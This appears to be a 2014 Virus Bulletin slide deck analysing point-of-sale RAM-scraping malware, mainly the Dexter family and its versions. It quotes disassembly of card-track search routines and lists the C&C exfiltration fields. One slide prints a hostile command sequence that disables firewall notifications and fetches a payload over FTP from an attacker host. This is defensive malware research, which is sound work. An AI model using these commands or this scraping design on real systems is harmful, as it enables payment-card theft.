Swipe Away, We’re Watching You

Hong Kei Chan, Liang Huang
Virus Bulletin 2014
• Background
• PoS malware core functions
• Demo
• Dexter Evolution
• Future of PoS malware
Background

• Credit Card Transaction Process

• PoS System - PCI Data Security Standard (PCI-DSS)
  » Data must be encrypted: Storing, transmitting, and receiving
  » Data stored momentarily in volatile memory, unencrypted and unprotected
PoS malware families & victims

- Alina
- Dexter
- vSkimmer
- Chewbacca
- BlackPOS
- JackPOS
- Soraya
- Backoff
Methods of Infection

• Inside Job
  » Employees bribed to install malware
  » vSkimmer – offline mode

• Phishing/Social Engineering

• Remote Administration Utilities
  » LogMeIn
  » TeamViewer
PoS Malware Backbone

• Three core functions

1. Dumping process memory
2. Scanning for and extracting sensitive information
3. Exfiltrating stolen information
ISO/IEC 7813

- **Track 1**
  - Start Sentinel:
  - Format Code:
  - Primary Account Number:
  - Card Holder’s Name:
  - Expiration Date (YYMM):
  - Field Separator:
  - Service Code:
  - Discretionary Data:
  - End Sentinel:

- **Track 2**
  - Start Sentinel:
  - Primary Account Number:
  - Field Separator:
  - Expiration Date (YYMM):
  - Service Code:
  - Discretionary Data:
  - End Sentinel:
Searching for Credit Cards

• Two Approaches
  » Regular Expression
  » Custom Pattern matching

• Track 1

• Track 2
Custom Pattern Matching

• More control of card to target or filter out
• PoS Families:
  » Dexter
  » JackPOS
  » Backoff
• Algorithm vary but typically use:
  » Begin Sentinel: ‘%’ or ‘;’
  » Field Separators: ‘^’ or ‘=’
JackPOS Track 1 Search

```
cmp byte ptr ds:[edx+edi],25  
mov ebx,1 
mov dword ptr ss:[ebp-30],edi
```

```
0x25 - '2' (Begin Sentinel)
```

```
inc edi 
cmp byte ptr ds:[edx+edi],42
```

```
0x42 - '0' (Format Code)
```

```
inc edi
mov al,byte ptr ds:[edx+edi]
cmp al,31
jb 0E481C3D.00408193 
cmp al,36
ja 0E481C3D.00408193
```

Checking IIN digits

```
0x31 = '1' (1st digit)
0x36 = '6' (1st digit)
```

```
add eax,-31
mov dword ptr ss:[ebp-34],esi
cmp eax,5
ja 0E481C3D.00408FCA
```

6 Switch Cases

```
jump dword ptr ds:[eaxx4+4081D0]
```

Case 1

```
cmp byte ptr ds:[edx+edi+1],38
jnz short 0E481C3D.00407ED0
cmp byte ptr ds:[edx+edi+2],30
jnz short 0E481C3D.00407ED0
cmp byte ptr ds:[edx+edi+3],30
```

```
0x38 = '8' (2nd digit)
0x30 = '0' (3rd digit)
0x30 = '0' (4th digit)
```

Case 2

```
cmp byte ptr ds:[edx+edi+1],31
jnz short 0E481C3D.00407ED0
cmp byte ptr ds:[edx+edi+2],33
jnz short 0E481C3D.00407ED0
cmp byte ptr ds:[edx+edi+3],31
```

```
0x31 = '1' (2nd digit)
0x33 = '3' (3rd digit)
0x31 = '1' (4th digit)
```

Real Time Network Protection
Exfiltrating Stolen Information

• Typical communication protocols to C&C server
  » HTTP
    • Dexter
    • JackPOS
    • Backoff
  » FTP/Connect to shared folder
    • BlackPOS
  » TOR
    • Chewbacca
### HTTP post request

<table>
<thead>
<tr>
<th>Query String: Field Name</th>
<th>Query String: Field Body</th>
</tr>
</thead>
<tbody>
<tr>
<td>page=</td>
<td>Infected computer identifier</td>
</tr>
<tr>
<td>&amp;ump=</td>
<td>Stolen credit card information</td>
</tr>
<tr>
<td>&amp;ks=</td>
<td>Keylogger - Stolen credit card information</td>
</tr>
<tr>
<td>&amp;unm=</td>
<td>User logon name</td>
</tr>
<tr>
<td>&amp;cnm=</td>
<td>Computer name</td>
</tr>
<tr>
<td>&amp;query=</td>
<td>Operating system type</td>
</tr>
<tr>
<td>&amp;spec=</td>
<td>CPU architecture</td>
</tr>
<tr>
<td>&amp;opt=</td>
<td>System idle time</td>
</tr>
<tr>
<td>&amp;var=</td>
<td>Version</td>
</tr>
<tr>
<td>&amp;val=</td>
<td>4 byte encryption key</td>
</tr>
</tbody>
</table>
Dexter Introduction
Dexter Timeline

• Compilation Time
  » TimeDateStamp
  » No signs of modification

• Four major versions:
  » spread
  » StarDust
  » Revelation
  » Misto

• A number of minor version:
  » vXXX10
  » Millenium
Dexter Overview

1. Creation of 5 threads
   » Autorun Registry Monitor
   » Internet Explorer Injector
   » Shutdown/Logoff Detector
   » Event Monitor
   » RAM Scraper

2. C&C Commands
   » update-
   » checkin:
   » scanin:
   » download-
   » uninstall
Evolution of Dexter

- Demo – StarDust

- Focusing on the 3 most recent versions
  - StarDust
  - Revelation
  - Misto
Version 2: StarDust

- Compilation Date – 02/26/2013
  - Functioning keylogger – SecureDll.dll
- Two log files
  - strokes.log
  - tmp.log

```plaintext
"B" xor "b" xor "k" xor "n" xor "t" => "J"
```

<table>
<thead>
<tr>
<th>Plaintext</th>
<th>4 byte key</th>
<th>Encrypted</th>
</tr>
</thead>
<tbody>
<tr>
<td>00CC0000</td>
<td>62 60 75 74</td>
<td>60 31 65 32</td>
</tr>
<tr>
<td>00CC0010</td>
<td>35 33 39 31</td>
<td>32 38 38 31</td>
</tr>
<tr>
<td>00CC0020</td>
<td>46 61 68 65</td>
<td>43 61 72 66</td>
</tr>
<tr>
<td>00CC0030</td>
<td>32 32 32 32</td>
<td>32 32 32 32</td>
</tr>
<tr>
<td>00CC0040</td>
<td>73 39 7A 33</td>
<td>64 69 00 00</td>
</tr>
</tbody>
</table>

```
#AVER_START#

#AVER_END#
```
Version 3: Revelation

- Compilation Date – 10/09/2013
- 2 main modifications
Version 3: Revelation

- **Modification 1:**
  - Addition of raw input model keylogger

```assembly
push 0C
push 1
push Dexter_v.0040C000
call dword ptr ds:[<&USER32.Regis

mov dword ptr ds:[40C004],100
mov word ptr ds:[40C000],1
mov word ptr ds:[40C002],6
mov ecx,dword ptr ss:[ebp+8]
mov dword ptr ds:[40C008],ecx

cbSize = 0xC
uiNumDevices = 1
pRawInputDevices
USER32.RegisterRawInputDevices

dwFlags = RIDEV_INPUTSINK
usUsagePage = Generic Desktop Controls
usUsage = Keyboard
hwndTarget
```
Version 3: Revelation

**Modification 2:**

» Addition of FTP

» 2 sets of files with name debug.log + [asdf/yrgh]

<table>
<thead>
<tr>
<th>File set 1 – HTTP</th>
<th>File set 2 - FTP</th>
<th>File set 3 - ???</th>
</tr>
</thead>
<tbody>
<tr>
<td>debug.logasdf</td>
<td>debug.logyrgh</td>
<td>debug.logmtoz</td>
</tr>
<tr>
<td>tmp.logtmp.log</td>
<td>tmp.logtmp.log</td>
<td>tmp.logtmp.log</td>
</tr>
<tr>
<td>strokes.logasdf</td>
<td>strokes.logyrgh</td>
<td>strokes.logmtoz</td>
</tr>
<tr>
<td>file.logasdf</td>
<td>file.logyrgh</td>
<td>file.logmtoz</td>
</tr>
</tbody>
</table>
HTTP & FTP

- \r\nSCRAPPER:\n + <data> + \r\n
- \r\nHOOKER:\n + <data> + \r\n
- \r\nKEYLOGGER:\n + <data> + \r\n
- \r\nLOGMEIN:\n + <data> + \r\n
Recap Last 2 Versions

- **StarDust**
  - Keylogger - Windows Input Model
  - HTTP

- **Revelation**
  - Keyloggers – Raw Input Model
  - HTTP & FTP
Version 4: Misto

- Compilation Date – 01/23/2014
  - Reverted to an older version or branch off from earlier revision
  - 2 Modifications
  - Unanswered questions
Modification 1

• Subroutines using strings: first written to stack
  » All stolen track data written to %system%\ursd.ini
**Modification 2**

- **Blacklist – System Files**
  - svchost.exe
  - explorer.exe
  - smss.exe
  - csrss.exe

- **Target list**
  - Helios11.exe
  - Helios12.exe
  - SunLync.exe
  - ComCash.exe
Misto unanswered questions

- Autorun registry entries – javas.exe

- Removal of C&C functionality – ipsm.exe

```
push 0
push 0
push 800000
push 0
push 0
push 0
lea edx, dword ptr ss:[ebp-5C0]
push edx
push 0
```

```
CurrentDir = NULL
pEnvironment = NULL
CreationFlags = CREATE_NO_WINDOW
InheritHandles = FALSE
pThreadSecurity = NULL
pProcessSecurity = NULL
```

```
CommandLine = "ipsm.exe [MACHINE_NAME]_NOU-START c:\windows\system32\ursd.ini"
call dword ptr ds:[&KERNEL32.CreateProcessA]
kernel32.CreateProcessA
```
Misto answered questions

• Most recent version – 03/21/2014
  » %system%\javas.exe
    • cmd /c netsh firewall SET notifications mode=DISABLED
    • echo open caca.[REMOVED].com 21 >> k
    • echo user va[REMOVED]e7 C[REMOVED]0 >>k
    • echo Binary >> k
    • echo get javas.exe >> k
    • echo bye >>k
    • ftp -n -v -s:k
    • del k
Future of PoS malware
What is to come?

• EMV chip cards
• Push to implement in USA
  » October, 2015 – Liability Shift

<table>
<thead>
<tr>
<th>Region</th>
<th>EMV Cards</th>
<th>Adoption Rate</th>
<th>EMV Terminals</th>
<th>Adoption Rate</th>
</tr>
</thead>
<tbody>
<tr>
<td>Canada, Latin America, and the Caribbean</td>
<td>471M</td>
<td>54.2%</td>
<td>7.1M</td>
<td>84.7%</td>
</tr>
<tr>
<td>Asia Pacific</td>
<td>942M</td>
<td>17.4%</td>
<td>15.6M</td>
<td>71.7%</td>
</tr>
<tr>
<td>Africa &amp; the Middle East</td>
<td>77M</td>
<td>38.9%</td>
<td>699K</td>
<td>86.3%</td>
</tr>
<tr>
<td>Europe Zone 1</td>
<td>794M</td>
<td>81.6%</td>
<td>12.2M</td>
<td>99.9%</td>
</tr>
<tr>
<td>Europe Zone 2</td>
<td>84M</td>
<td>24.4%</td>
<td>1.4M</td>
<td>91.2%</td>
</tr>
</tbody>
</table>

* Figures reported in Q4 2013 and represent the latest statistics from American Express, Discover, JCB, MasterCard, UnionPay, and Visa, as reported by their member institutions globally.
Is this the end of PoS malware?

• Maybe?
  → There is still time till October 2015
  → EMV-based RAM scrapers

<table>
<thead>
<tr>
<th>Tag</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>5F20</td>
<td>Cardholder Name</td>
</tr>
<tr>
<td>57</td>
<td>Track 2 Equivalent Data</td>
</tr>
</tbody>
</table>

→ iCVV or dynamic CVV protects from cloning to magnetic stripe
→ Enough data for some card not present transaction
Short Demo
Questions?

Hong Kei Chan <hkchan@fortinet.com>
Liang Huang <lianghuang@fortinet.com>